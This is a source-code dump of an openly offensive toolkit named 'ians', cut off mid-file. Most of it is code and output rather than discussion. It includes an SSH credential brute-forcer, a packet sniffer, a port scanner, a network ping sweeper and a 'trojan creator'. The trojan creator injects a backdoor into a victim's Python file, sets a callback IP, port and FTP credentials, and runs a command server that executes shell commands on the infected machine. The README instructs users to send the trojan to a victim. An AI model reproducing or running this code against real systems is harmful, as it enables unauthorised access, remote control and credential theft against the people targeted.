console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter the target's address: ") 89 | fmt.Scanf("%s", &host) 90 | 91 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter username (leave blank if you don't know it): ") 92 | fmt.Scanf("%s", &usernameWList[0]) 93 | 94 | if (usernameWList[0] == "") { 95 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter usernames wordlist's path: ") 96 | fmt.Scanf("%s", &usernameWListPath) 97 | } 98 | 99 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter password (leave blank if you don't know it): ") 100 | fmt.Scanf("%s", &passwordWList[0]) 101 | 102 | if (passwordWList[0] == "") { 103 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter passwords worlist's path: ") 104 | fmt.Scanf("%s", &passwordWListPath) 105 | passwordWList = files.ReadLineByLine(passwordWListPath, true) 106 | } 107 | 108 | bruteforce(host, &usernameWList, &passwordWList) 109 | 110 | if rightUsername == "" && rightPassword == "" { 111 | console.Println(console.BoldRed, "\nCouldn't find username and password") 112 | } else { 113 | console.Println(console.BoldGreen, "\nCombination found [%s: %s]", rightUsername, rightPassword) 114 | } 115 | 116 | fmt.Scanln() 117 | return 118 | } -------------------------------------------------------------------------------- /internal/sniffer/sniffer.py: -------------------------------------------------------------------------------- 1 | from rich.console import Console 2 | 3 | import ipaddress 4 | import os 5 | import socket 6 | import struct 7 | import sys 8 | 9 | class IP: 10 | def __init__(self, buff=None): 11 | header = struct.unpack("> 4 13 | self.ihl = header[0] & 0xf 14 | 15 | self.tos = header[1] 16 | self.len = header[2] 17 | self.id = header[3] 18 | self.offset = header[4] 19 | self.ttl = header[5] 20 | self.protocol_num = header[6] 21 | self.sum = header[7] 22 | self.src = header[8] 23 | self.dst = header[9] 24 | 25 | self.src_address = ipaddress.ip_address(self.src) 26 | self.dst_address = ipaddress.ip_address(self.dst) 27 | 28 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 29 | try: 30 | self.protocol = self.protocol_map[self.protocol_num] 31 | except Exception as e: 32 | print("%s No protocol for %s" % (e, self.protocol_num)) 33 | self.protocol = str(self.protocol_num) 34 | 35 | class ICMP: 36 | def __init__(self, buff): 37 | header = struct.unpack(" %s " % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)) 78 | console.print(f"Version: [bold blue]{ip_header.ver}[/bold blue]") 79 | console.print(f"Header Length: [bold blue]{ip_header.ihl}[/bold blue] TTL: [bold blue]{ip_header.ttl}[/bold blue]") 80 | 81 | if ip_header.protocol == "ICMP": 82 | offset = ip_header.ihl * 4 83 | buf = data[offset:offset + 8] 84 | icmp_header = ICMP(buf) 85 | console.print(f"ICMP -> Type: %s Code: %s\n" % (icmp_header.type, icmp_header.code)) 86 | 87 | sniffed_packets += 1 88 | 89 | except KeyboardInterrupt: 90 | exiting(sniffer, sniffed_packets) 91 | 92 | except OSError: 93 | exiting(sniffer, sniffed_packets) 94 | 95 | if __name__ == "__main__": 96 | main(sys.argv[1]) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # 🐉 ians 4 | ians is the "swiss army knife" of hacking, perfect for a variety of tactical operations 5 | 6 | ## 📚 Features 7 | - Variety of attacks 8 | - port scan 9 | - sniffer 10 | - ssh bruteforce 11 | - create trojan 12 | - private chatroom 13 | - map a site 14 | - find connected people 15 | - user recon 16 | - Fast and lightweight 17 | - Dependency-light 18 | 19 | ## 🪢 Installation 20 | 21 | ### 🧮 Prerequisites 22 | - golang: install go 23 | - python: install python 24 | 25 | ### 🪄 Installation Steps 26 | 1. Clone the repository: 27 | ``` 28 | git clone https://github.com/giovanni-iannaccone/ians 29 | cd ians 30 | ``` 31 | 2. Run installation script: 32 | ``` 33 | chmod +x install.sh 34 | ./install.sh 35 | ``` 36 | 3. Execute ians: 37 | ``` 38 | go run ians.go 39 | ``` 40 | or build it: 41 | 42 | ``` 43 | go build ians.go 44 | ``` 45 | 46 | > [!CAUTION] 47 | > The ians team does not assume any responsibility for the improper use of the app. 48 | 49 | ## 🎮 Usage 50 | Write the number corrisponding to the attack you want to run 51 | 52 | 1. port scanner
53 | Type target's ip or hostname, select the type of scan and press enter 54 | 55 | 56 | 2. sniffer
57 | Every captured packet will be printed in a decoded format 58 | 59 | 60 | 3. ssh bruteforce
61 | Enter username (or a wordlist), password (or a wordlist), press enter and wait 62 | 63 | 64 | 4. trojan creator
65 | Type your ip and port, file to infect's path and your ftp credentials (optional).
66 | Send the trojan to your victim and wait for him to execute it. 67 | 68 | 69 | 5. chatroom
70 | Host a chatroom or connect to an existing one. If you connect send messages to other users,
71 | if you are hosting, manage your room by setting a password, removing and blocking users. 72 | 73 | 74 | 6. site mapper
75 | Enter site's url, file extensions (optional) and a wordlist path, press enter and wait 76 | 77 | 78 | 7. user recon
79 | Type a username and search it across many social media 80 | 81 | 82 | ## 🧩 Contributing 83 | We welcome contributions! Please follow these steps: 84 | 85 | 1. Fork the repository. 86 | 2. Create a new branch ( using this convention). 87 | 3. Make your changes and commit them with descriptive messages. 88 | 4. Push your changes to your fork. 89 | 5. Create a pull request to the main repository. 90 | 91 | ## 🔭 Learn 92 | Golang: https://go.dev/doc/
93 | Hacking: https://tryhackme.com/ 94 | 95 | ## ⚖️ License 96 | This project is licensed under the GPL-3.0 License. See the LICENSE file for details. 97 | 98 | ## ⚔️ Contact 99 | - For any inquiries or support, please contact iannacconegiovanni444@gmail.com . 100 | - Visit my site for more informations about me and my work https://giovanni-iannaccone.github.io -------------------------------------------------------------------------------- /internal/portScanner/portScanner.go: -------------------------------------------------------------------------------- 1 | package portScanner 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "sync" 7 | "time" 8 | 9 | "github.com/giovanni-iannaccone/ians/pkg/ascii" 10 | "github.com/giovanni-iannaccone/ians/pkg/console" 11 | "github.com/giovanni-iannaccone/ians/pkg/jsonUtils" 12 | "github.com/giovanni-iannaccone/ians/pkg/progressbar" 13 | ) 14 | 15 | var activePorts []string 16 | var iterableLength uint = 0 17 | var mu sync.Mutex 18 | 19 | type submitFunction func(ch chan bool, data *map[string]string, addr string) 20 | 21 | func printPorts(data *map[string]string) { 22 | var service string 23 | 24 | for _, port := range activePorts { 25 | service = (*data)[port] 26 | console.Println(console.BoldGreen, "%s:\t%s", port, service) 27 | } 28 | 29 | console.Println(console.Reset, "") 30 | } 31 | 32 | func run(data *map[string]string, submitTasks submitFunction, addr string) error { 33 | ch := make(chan bool) 34 | go submitTasks(ch, data, addr) 35 | progressbar.DisplayProgressBar(iterableLength, ch) 36 | 37 | return nil 38 | } 39 | 40 | func scanPort(ch chan bool, addr string, port string) error { 41 | defer func() { 42 | ch <- true 43 | }() 44 | 45 | var host string = fmt.Sprintf("%s:%s", addr, port) 46 | conn, err := net.DialTimeout("tcp", host, time.Duration(5) * time.Second) 47 | if err == nil { 48 | mu.Lock() 49 | activePorts = append(activePorts, port) 50 | mu.Unlock() 51 | conn.Close() 52 | } 53 | 54 | return err 55 | } 56 | 57 | func submitTasksOnCompleteScan(ch chan bool, 58 | _ *map[string]string, addr string, 59 | ) { 60 | for i := uint(1); i <= iterableLength; i++ { 61 | go scanPort( 62 | ch, 63 | addr, 64 | fmt.Sprintf("%d", i), 65 | ) 66 | } 67 | } 68 | 69 | func submitTasksOnPartialScan(ch chan bool, 70 | data *map[string]string, addr string, 71 | ) { 72 | for port := range *data { 73 | go scanPort( 74 | ch, 75 | addr, 76 | port, 77 | ) 78 | } 79 | } 80 | 81 | func Initialize() { 82 | var jsonData map[string]string 83 | var target string 84 | var option uint = 0 85 | var submitter submitFunction 86 | 87 | ascii.PortScanner() 88 | console.Println(console.BoldRed, "\n A multithreaded port scanner\n") 89 | 90 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Type the target: ") 91 | fmt.Scanf("%s", &target) 92 | 93 | addrs, err := net.LookupIP(target) 94 | if err != nil { 95 | console.Fatal("Error acquiring IP address: %s", err.Error()) 96 | } 97 | addr := addrs[0].String() 98 | 99 | err = jsonUtils.ExtractData("utils/common_ports.json", &jsonData) 100 | if err != nil { 101 | console.Error("Error reading JSON data: %s", err.Error()) 102 | } 103 | 104 | console.Println(console.Reset, "IP address for %s acquired: %s", target, addr) 105 | 106 | for option != 1 && option != 2 { 107 | console.Println(console.BoldBlue, "\n[1] " + console.Reset + "For a base scan") 108 | console.Print(console.BoldBlue, "[2] " + console.Reset + "For a complete scan\n\n> ") 109 | fmt.Scanf("%d", &option) 110 | } 111 | 112 | if option == 1 { 113 | iterableLength = uint(len(jsonData)) 114 | submitter = submitTasksOnPartialScan 115 | } else { 116 | iterableLength = 65535 117 | submitter = submitTasksOnCompleteScan 118 | } 119 | 120 | console.Println(console.Red, "\n%d ports will be scanned", iterableLength) 121 | console.Println(console.Red, "Scanner is ready, press ENTER to start...") 122 | fmt.Scanln() 123 | 124 | err = run(&jsonData, submitter, addr) 125 | if err != nil { 126 | console.Error(err.Error()) 127 | } 128 | 129 | console.Println(console.Reset, "\n") 130 | printPorts(&jsonData) 131 | fmt.Scanln() 132 | } 133 | -------------------------------------------------------------------------------- /internal/trojanCreator/trojanCreator.go: -------------------------------------------------------------------------------- 1 | package trojanCreator 2 | 3 | import ( 4 | "fmt" 5 | "net" 6 | "os" 7 | 8 | "github.com/giovanni-iannaccone/ians/pkg/ascii" 9 | "github.com/giovanni-iannaccone/ians/pkg/console" 10 | "github.com/giovanni-iannaccone/ians/pkg/tcp" 11 | ) 12 | 13 | func getOSInfo(conn net.Conn) { 14 | var os []byte = make([]byte, 64) 15 | n, _ := conn.Read(os) 16 | console.Println(console.BoldBlue, "Target's OS is %s", string(os[:n])) 17 | } 18 | 19 | func handle(conn net.Conn) { 20 | var cmd string 21 | var data []byte = make([]byte, 8192) 22 | 23 | getOSInfo(conn) 24 | 25 | for { 26 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter a command:~# ") 27 | console.Scan(&cmd) 28 | 29 | if cmd == "help" { 30 | showOptions() 31 | 32 | } else { 33 | conn.Write([]byte(cmd)) 34 | 35 | n, err := conn.Read(data) 36 | if err != nil { 37 | console.Error(err.Error()) 38 | } else { 39 | console.Println(console.BoldGreen, "--OUTPUT--") 40 | console.Println(console.Green, "%s", string(data[:n])) 41 | } 42 | } 43 | } 44 | } 45 | 46 | func inject(ip string, port uint, file string, ftpCredentials []string) error { 47 | fd, err := os.OpenFile(file, os.O_APPEND|os.O_WRONLY|os.O_CREATE, os.ModeAppend) 48 | if err != nil { 49 | return err 50 | } 51 | 52 | defer fd.Close() 53 | 54 | buffer, err := os.ReadFile("internal/trojanCreator/utils/trojan.py") 55 | if err != nil { 56 | return err 57 | } 58 | 59 | fd.Write(buffer) 60 | fd.Write([]byte(fmt.Sprintf("\n IP=\"%s\";PORT=%d", ip, port))) 61 | fd.Write([]byte(fmt.Sprintf("\n ftp_credentials=%s", console.FmtArray(ftpCredentials)))) 62 | fd.Write([]byte("\n distractor_thread = threading.Thread(target=main);trojan_thread = threading.Thread(target=trojan)")) 63 | fd.Write([]byte("\n distractor_thread.start();trojan_thread.start()")) 64 | 65 | return nil 66 | } 67 | 68 | func showOptions() { 69 | console.Println(console.BoldBlue, "cmdon" + console.Reset + "\t\tto active the terminal mode") 70 | console.Println(console.BoldBlue, "cmdoff" + console.Reset + "\t\tto disactive the terminal mode\n") 71 | 72 | console.Println(console.BoldBlue, "ftp::recv" + console.Reset + "\tto receive a file") 73 | console.Println(console.BoldBlue, "ftp::cd" + console.Reset + "\t\tto change the directory a file") 74 | } 75 | 76 | func takeData() (string, uint) { 77 | var ip string 78 | var port uint 79 | 80 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter your ip: ") 81 | fmt.Scanf("%s", &ip) 82 | 83 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter your port: ") 84 | fmt.Scanf("%d", &port) 85 | 86 | return ip, port 87 | } 88 | 89 | func takeFtpCredentials() []string { 90 | var ftpAddress string 91 | var ftpPasswd string 92 | var ftpUsername string 93 | 94 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter the address of the ftp server: ") 95 | fmt.Scanf("%s", &ftpAddress) 96 | 97 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter the username to login: ") 98 | fmt.Scanf("%s", &ftpUsername) 99 | 100 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter the password to login: ") 101 | fmt.Scanf("%s", &ftpPasswd) 102 | 103 | return []string{ftpAddress, ftpUsername, ftpPasswd} 104 | } 105 | 106 | func Initialize() { 107 | ascii.TrojanCreator() 108 | console.Println(console.BoldRed, "A tool for simple trojan creation") 109 | 110 | ip, port := takeData() 111 | 112 | var file string 113 | console.Print(console.BoldBlue, "[+] " + console.Reset + "Enter the py file where you want to inject the backdoor: ") 114 | fmt.Scanf("%s", &file) 115 | 116 | var ftpCredentials []string = takeFtpCredentials() 117 | 118 | err := inject(ip, port, file, ftpCredentials) 119 | if err != nil { 120 | console.Fatal(err.Error()) 121 | } 122 | 123 | console.Println(console.BoldGreen, "Starting server on port %d", port) 124 | err = tcp.StartTcpServer(ip, port, 1, handle) 125 | if err != nil { 126 | console.Fatal(err.Error()) 127 | } 128 | } -------------------------------------------------------------------------------- /internal/findConnected/findConnected.go: -------------------------------------------------------------------------------- 1 | package findConnected 2 | 3 | import ( 4 | "errors" 5 | "fmt" 6 | "net" 7 | "os/exec" 8 | "strconv" 9 | 10 | "github.com/giovanni-iannaccone/ians/pkg/ascii" 11 | "github.com/giovanni-iannaccone/ians/pkg/console" 12 | ) 13 | 14 | func bruteforcePing(activeList *[]int, ip int, broadcast int) int { 15 | ch := make(chan int) 16 | 17 | submitTask(ch, ip, broadcast) 18 | 19 | var i int = 0 20 | var found int = 0 21 | for ip := range ch { 22 | if ip > 0 { 23 | *activeList = append(*activeList, ip) 24 | found++ 25 | } 26 | 27 | i++ 28 | 29 | if i >= broadcast-ip-1 { 30 | break 31 | } 32 | } 33 | 34 | return found 35 | } 36 | 37 | func format(mask string) string { 38 | var octets [4]int64 = [4]int64{0, 0, 0, 0} 39 | for i := 0; i < 4; i++ { 40 | octets[i], _ = strconv.ParseInt(mask[i*2:i*2+2], 16, 64) 41 | } 42 | 43 | return fmt.Sprintf("%d.%d.%d.%d", octets[0], octets[1], octets[2], octets[3]) 44 | } 45 | 46 | func getBroadcast(ip int, cidr int) int { 47 | var b int = 0 48 | 49 | for i := cidr; i < 32; i++ { 50 | b = b*2 + 1 51 | } 52 | 53 | return ip | b 54 | } 55 | 56 | func getCidr(mask int) int { 57 | var i int 58 | 59 | for i = 32; i >= 0; i-- { 60 | if (mask & 1) != 0 { 61 | return i 62 | } 63 | 64 | mask >>= 1 65 | } 66 | 67 | return i 68 | } 69 | 70 | func getSubnetMask(iface string) (string, string, error) { 71 | mgmtInterface, err := net.InterfaceByName(iface) 72 | if err != nil { 73 | return "", "", errors.New("Unable to find interface") 74 | } 75 | addrs, err := mgmtInterface.Addrs() 76 | if err != nil { 77 | return "", "", err 78 | } 79 | 80 | for _, addr := range addrs { 81 | if ipnet, ok := addr.(*net.IPNet); ok { 82 | return ipnet.IP.String(), format(ipnet.Mask.String()), nil 83 | } 84 | } 85 | 86 | return "", "", errors.New("Unable to find subnet mask") 87 | } 88 | 89 | func int2ip(bits int) string { 90 | var octets [4]int = [4]int{0, 0, 0, 0} 91 | 92 | for i := 0; i < 4; i++ { 93 | octets[i] = bits & 0xFF 94 | bits >>= 8 95 | } 96 | 97 | return fmt.Sprintf("%d.%d.%d.%d", octets[3], octets[2], octets[1], octets[0]) 98 | } 99 | 100 | func ip2int(ip string) int { 101 | var partial int = 0 102 | var sum int = 0 103 | 104 | for _, c := range ip { 105 | if c != '.' { 106 | partial = partial*10 + int(c) - '0' 107 | } else { 108 | sum = (sum << 8) + partial 109 | partial = 0 110 | } 111 | } 112 | 113 | return (sum << 8) + partial 114 | } 115 | 116 | func ping(ch chan int, ip int) { 117 | cmd := exec.Command("ping", "-c", "1", "-W", "10", int2ip(ip)) 118 | _, err := cmd.CombinedOutput() 119 | 120 | if err != nil { 121 | ch <- -1 122 | } else { 123 | ch <- ip 124 | } 125 | } 126 | 127 | func submitTask(ch chan int, ip int, broadcast int) { 128 | for i := ip + 1; i < broadcast; i++ { 129 | go ping(ch, i) 130 | } 131 | } 132 | 133 | func Initialize() { 134 | ascii.FindConnected() 135 | console.Println(console.BoldRed, "Who is connected to your network ? ") 136 | 137 | ifaces, err := net.Interfaces() 138 | if err != nil { 139 | console.Fatal("%s", err.Error()) 140 | } 141 | 142 | for _, iface := range ifaces { 143 | console.Print(console.Green, "\t%s", iface.Name) 144 | } 145 | 146 | var iface string 147 | console.Print(console.BoldBlue, "\n[+] "+console.Reset+"Enter your interface: ") 148 | fmt.Scanf("%s", &iface) 149 | 150 | ip, mask, err := getSubnetMask(iface) 151 | if err != nil { 152 | console.Fatal("%s", err.Error()) 153 | } 154 | 155 | netIp := ip2int(ip) & ip2int(mask) 156 | cidr := getCidr(ip2int(mask)) 157 | var broadcast int = getBroadcast(netIp, cidr) 158 | 159 | console.Println(console.Red, "\nScanner is ready, press ENTER to continue...") 160 | fmt.Scanln() 161 | 162 | var activeList []int 163 | n := bruteforcePing(&activeList, netIp, broadcast) 164 | 165 | for _, ip := range activeList { 166 | console.Print(console.Green, "%s\n", int2ip(ip)) 167 | } 168 | 169 | if n != 0 { 170 | console.Println(console.BoldGreen, "\n\nFound %d devices", n) 171 | } else { 172 | console.Println(console.BoldRed, "\n\nNo device found...") 173 | } 174 | 175 | fmt.Scanln() 176 | } 177 | -------------------------------------------------------------------------------- /ians.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "fmt" 5 | "os" 6 | "time" 7 | 8 | "github.com/giovanni-iannaccone/ians/internal/bruteforce" 9 | "github.com/giovanni-iannaccone/ians/internal/chat" 10 | "github.com/giovanni-iannaccone/ians/internal/findConnected" 11 | "github.com/giovanni-iannaccone/ians/internal/portScanner" 12 | "github.com/giovanni-iannaccone/ians/internal/siteMapper" 13 | "github.com/giovanni-iannaccone/ians/internal/sniffer" 14 | "github.com/giovanni-iannaccone/ians/internal/trojanCreator" 15 | "github.com/giovanni-iannaccone/ians/internal/userRecon" 16 | 17 | "github.com/giovanni-iannaccone/ians/pkg/ascii" 18 | "github.com/giovanni-iannaccone/ians/pkg/console" 19 | "github.com/giovanni-iannaccone/ians/pkg/system" 20 | ) 21 | 22 | const VERSION = "2.0" 23 | 24 | func exit() { 25 | console.Println(console.BoldRed, "Bye bye :)") 26 | os.Exit(0) 27 | } 28 | 29 | func handleOption(option uint) { 30 | switch option { 31 | case 1: 32 | portScanner.Initialize() 33 | 34 | case 2: 35 | sniffer.Initialize() 36 | 37 | case 3: 38 | bruteforce.Initialize() 39 | 40 | case 4: 41 | trojanCreator.Initialize() 42 | 43 | case 5: 44 | chat.Initialize() 45 | 46 | case 6: 47 | siteMapper.Initialize() 48 | 49 | case 7: 50 | userRecon.Initialize() 51 | 52 | case 8: 53 | findConnected.Initialize() 54 | 55 | case 9: 56 | printInfo() 57 | 58 | case 10: 59 | update() 60 | 61 | case 11: 62 | exit() 63 | 64 | default: 65 | 66 | } 67 | } 68 | 69 | func printInfo() { 70 | ascii.Info() 71 | 72 | console.Println(console.BoldBlue, "Author" + console.Reset + ": Giovanni Iannaccone") 73 | console.Println(console.BoldBlue, "Version" + console.Reset + ": %s", VERSION) 74 | console.Println(console.BoldRed, ` 75 | Tool written for educational purpose only, the user know what he is doing 76 | and the author is not responsible for any malicious tool of ians 77 | `) 78 | 79 | console.Println(console.Red, "Press ENTER to continue ") 80 | fmt.Scanln() 81 | } 82 | 83 | func showOptions() { 84 | console.Println(console.BoldBlue, "[1]" + console.Reset + " Port scanner\tfor port scanning") 85 | console.Println(console.BoldBlue, "[2]" + console.Reset + " Sniffer\t\tfor sniffing ") 86 | console.Println(console.BoldBlue, "[3]" + console.Reset + " SSH Bruteforce\tbruteforce ssh credentials") 87 | console.Println(console.BoldBlue, "[4]" + console.Reset + " Trojan creator\tto create a trojan ") 88 | console.Println(console.BoldBlue, "[5]" + console.Reset + " Chat\t\tto create a private chat room ") 89 | console.Println(console.BoldBlue, "[6]" + console.Reset + " Site mapper\t\tbruteforce a site's directories") 90 | console.Println(console.BoldBlue, "[7]" + console.Reset + " User recon\t\tfind username on social") 91 | console.Println(console.BoldBlue, "[8]" + console.Reset + " Find\t\twho is connected to the router") 92 | 93 | console.Println(console.Reset, "\nNon hacking options:") 94 | console.Println(console.BoldBlue, "[9]" + console.Reset + " info\tinfo on the tool") 95 | console.Println(console.BoldBlue, "[10]" + console.Reset + " update\tupdate ians") 96 | console.Println(console.BoldBlue, "[11]" + console.Reset + " exit\tbye bye :(") 97 | } 98 | 99 | func takeOption() uint { 100 | var option uint 101 | 102 | console.Print(console.White, "\n┌── [") 103 | console.Print(console.BoldGreen, "$ IANS $") 104 | console.Print(console.White, "] ── [") 105 | console.Print(console.BoldRed, "main") 106 | console.Print(console.White, "]:\n└───> ") 107 | 108 | fmt.Scanf("%d", &option) 109 | return option 110 | } 111 | 112 | func update() { 113 | system.Exec("chmod +x update.sh") 114 | system.Exec("./update.sh") 115 | } 116 | 117 | func main() { 118 | if system.Name == "windows" { 119 | console.Print(console.BoldRed, "You are using windows os, this can cause some problems") 120 | time.Sleep(time.Duration(2)) 121 | } else { 122 | system.Exec("chmod +x setup.sh") 123 | if err := system.Exec("./setup.sh"); err != nil { 124 | console.Error(err.Error()) 125 | os.Exit(1) 126 | } 127 | } 128 | 129 | console.Clear() 130 | ascii.Warning() 131 | fmt.Scanln() 132 | 133 | for { 134 | console.Clear() 135 | ascii.Main(VERSION) 136 | console.Println(console.BoldRed, " FOR EDUCATIONAL PURPOSE ONLY") 137 | console.Println(console.BoldWhite, " SELECT AN OPTION TO CONTINUE\n") 138 | showOptions() 139 | var option uint = takeOption() 140 | 141 | console.Clear() 142 | handleOption(option) 143 | } 144 | } 145 | 146 | -------------------------------------------------------------------------------- /internal/chat/server.go: -------------------------------------------------------------------------------- 1 | package chat 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "os" 7 | "net" 8 | "strings" 9 | 10 | "github.com/giovanni-iannaccone/ians/pkg/console" 11 | ) 12 | 13 | var PASSWORD_SET = []byte("1") 14 | var PASSWORD_NOT_SET = []byte("0") 15 | 16 | var BLOCKED_MESSAGE = []byte("You are blocked and can't enter this room") 17 | var REMOVED_MESSAGE = []byte("You have been removed from this room") 18 | 19 | var CORRECT_PASSWORD = []byte("Welcome") 20 | var WRONG_PASSWORD = []byte("Wrong password") 21 | 22 | type User struct { 23 | addr string 24 | conn net.Conn 25 | nickname string 26 | } 27 | 28 | var blockedUsers []string 29 | var users []*User 30 | 31 | func addUserToList(conn *net.Conn, nickname *string) { 32 | user := User{ 33 | addr: (*conn).RemoteAddr().String(), 34 | conn: *conn, 35 | nickname: *nickname, 36 | } 37 | 38 | users = append(users, &user) 39 | } 40 | 41 | func block(nickname *string) { 42 | for i, user := range users { 43 | if *nickname == (*user).nickname { 44 | (*user).conn.Close() 45 | blockedUsers = append(blockedUsers, (*user).addr) 46 | users = append(users[:i], users[i + 1:]...) 47 | break 48 | } 49 | } 50 | } 51 | 52 | func broadcast(from string, msg []byte) { 53 | msg = []byte(fmt.Sprintf("%s: %s", from, string(msg))) 54 | 55 | for i, client := range users { 56 | _, err := (*client).conn.Write(msg) 57 | if err != nil { 58 | (*client).conn.Close() 59 | users = append(users[:i], users[i+1:]...) 60 | } 61 | } 62 | } 63 | 64 | func getNickname(conn *net.Conn, nickname *string) { 65 | var buffer = make([]byte, 1024) 66 | n, _ := (*conn).Read(buffer) 67 | *nickname = string(buffer[:n]) 68 | } 69 | 70 | func getPassword(conn *net.Conn, password *string) { 71 | var passwd = make([]byte, 1024) 72 | (*conn).Read(passwd) 73 | for string(passwd) != *password { 74 | (*conn).Write([]byte(WRONG_PASSWORD)) 75 | (*conn).Read(passwd) 76 | } 77 | 78 | (*conn).Write([]byte(CORRECT_PASSWORD)) 79 | } 80 | 81 | func handleConnection(conn net.Conn, password *string) { 82 | if isBlocked(conn.RemoteAddr().String()) { 83 | conn.Write(BLOCKED_MESSAGE) 84 | conn.Close() 85 | return 86 | } 87 | 88 | if *password != "" { 89 | conn.Write([]byte(PASSWORD_SET)) 90 | getPassword(&conn, password) 91 | } else { 92 | conn.Write([]byte(PASSWORD_NOT_SET)) 93 | } 94 | 95 | var nickname string 96 | getNickname(&conn, &nickname) 97 | 98 | addUserToList(&conn, &nickname) 99 | 100 | console.Print(console.BoldGreen, "\r%s entered the chat\n" + console.Reset + ">", nickname) 101 | 102 | msg := make([]byte, 1024) 103 | for { 104 | if n, err := conn.Read(msg); err == nil && n > 0 { 105 | broadcast(nickname, msg[:n]) 106 | } 107 | } 108 | } 109 | 110 | func isBlocked(user string) bool { 111 | for _, blocked := range blockedUsers { 112 | if blocked == user { 113 | return true 114 | } 115 | } 116 | 117 | return false 118 | } 119 | 120 | func parseCmd(cmd *string) { 121 | command := strings.Fields(*cmd) 122 | 123 | switch command[0] { 124 | case "help": 125 | printMenu() 126 | 127 | case "block": 128 | if len(command) > 1 { 129 | block(&command[1]) 130 | } 131 | 132 | case "clear": 133 | console.Clear() 134 | 135 | case "exit": 136 | os.Exit(0) 137 | 138 | case "info": 139 | if len(command) > 1 { 140 | printInfo(&command[1]) 141 | } 142 | 143 | case "ls": 144 | printAllUsers() 145 | 146 | case "remove": 147 | if len(command) > 1 { 148 | remove(&command[1]) 149 | } 150 | } 151 | } 152 | 153 | func printAllUsers() { 154 | for _, user := range users { 155 | console.Println(console.Green, "%s", (*user).nickname) 156 | } 157 | } 158 | 159 | func printInfo(nickname *string) { 160 | for _, user := range users { 161 | if (*user).nickname == *nickname { 162 | console.Println(console.Green, "%s -> %s", user.nickname, user.addr) 163 | } 164 | } 165 | } 166 | 167 | func printMenu() { 168 | console.Println(console.BoldBlue, "[+] " + console.Reset + "Servers's host has special 'powers', type:") 169 | console.Println(console.BoldBlue, "-block 'nickname'" + console.Reset + "\tblock a user") 170 | console.Println(console.BoldBlue, "-clear" + console.Reset + "\t\t\tclear the screen") 171 | console.Println(console.BoldBlue, "-exit" + console.Reset + "\t\t\tclose the room for everybody") 172 | console.Println(console.BoldBlue, "-info 'nickname'" + console.Reset + "\tget information about nickname (his ip & port )") 173 | console.Println(console.BoldBlue, "-ls" + console.Reset + " \t\t\tshow all connected user") 174 | console.Println(console.BoldBlue, "-remove 'nickname'" + console.Reset + "\tremove an user") 175 | } 176 | 177 | func remove(nickname *string) { 178 | for i, user := range users { 179 | if (*user).nickname == *nickname { 180 | (*user).conn.Write(REMOVED_MESSAGE) 181 | (*user).conn.Close() 182 | users = append(users[:i], users[i + 1:]...) 183 | break 184 | } 185 | } 186 | } 187 | 188 | func startServer(ip string, port uint, password *string) error { 189 | ln, err := net.Listen("tcp", fmt.Sprintf("%s:%d", ip, port)) 190 | if err != nil { 191 | return err 192 | } 193 | 194 | for { 195 | conn, _ := ln.Accept() 196 | go handleConnection(conn, password) 197 | } 198 | } 199 | 200 | func startShell() { 201 | var cmd string 202 | in := bufio.NewReader(os.Stdin) 203 | 204 | fmt.Scanln() 205 | for { 206 | fmt.Printf("> ") 207 | cmd, _= in.ReadString('\n') 208 | 209 | parseCmd(&cmd) 210 | } 211 | } -------------------------------------------------------------------------------- /internal/userRecon/userRecon.go: -------------------------------------------------------------------------------- 1 | package userRecon 2 | 3 | import ( 4 | "fmt" 5 | "net/http" 6 | 7 | "github.com/giovanni-iannaccone/ians/pkg/ascii" 8 | "github.com/giovanni-iannaccone/ians/pkg/console" 9 | ) 10 | 11 | var socials = map[string]string{ 12 | "500px": "https://500px.com/%s", 13 | "About me": "https://about.me/%s", 14 | "AngelList": "https://angel.co/%s", 15 | "Anime planet": "https://www.anime-planet.com/users/%s", 16 | "Awwwards": "https://awwwards.com/%s/", 17 | "Badoo": "https://badoo.com/en/%s", 18 | "Behance": "https://behance.net/%s", 19 | "Bitbucket": "https://bitbucket.org/%s", 20 | "Blogger": "https://%s.blogspot.com", 21 | "Bluesky": "https://bsky.app/profile/%s", 22 | "BuyMeACoffe": "https://buymeacoffee.com/%s", 23 | "Buzzfeed": "https://buzzfeed.com/%s", 24 | "Canva": "https://www.canva.com/%s", 25 | "CashMe": "https://cash.me/%s", 26 | "Chess": "https://www.chess.com/member/%s", 27 | "Codecademy": "https://codecademy.com/%s", 28 | "Codementor": "https://www.codementor.io/%s", 29 | "Creativemarket": "https://creativemarket.com/%s", 30 | "DailyMotion": "https://www.dailymotion.com/%s", 31 | "Deviantart": "https://%s.deviantart.com", 32 | "Disqus": "https://disqus.com/%s", 33 | "Dribbble": "https://dribbble.com/%s", 34 | "Duolingo": "https://www.duolingo.com/profile/%s?via=share_profile", 35 | "Ebay": "https://ebay.com/usr/%s", 36 | "Ello": "https://ello.co/%s", 37 | "Etsy": "https://www.etsy.com/shop/%s", 38 | "Facebook": "https://facebook.com/%s", 39 | "Fiverr": "https://fiverr.com/%s", 40 | "Flickr": "https://flickr.com/people/%s", 41 | "Flipboard": "https://flipboard.com/@%s", 42 | "Foursquare": "https://foursquare.com/%s", 43 | "Fotolog": "https://fotolog.com/%s", 44 | "Github": "https://github.com/%s", 45 | "Gitlab": "https://gitlab.com/%s", 46 | "GoodReads": "https://www.goodreads.com/%s", 47 | "Google plus": "https://plus.google.com/+%s/posts", 48 | "Gravatar": "https://en.gravatar.com/%s", 49 | "Gumroad": "https://www.gumroad.com/%s", 50 | "Hacker news": "https://news.ycombinator.com/user?id=%s", 51 | "Imgur": "https://imgur.com/user/%s", 52 | "Instructables": 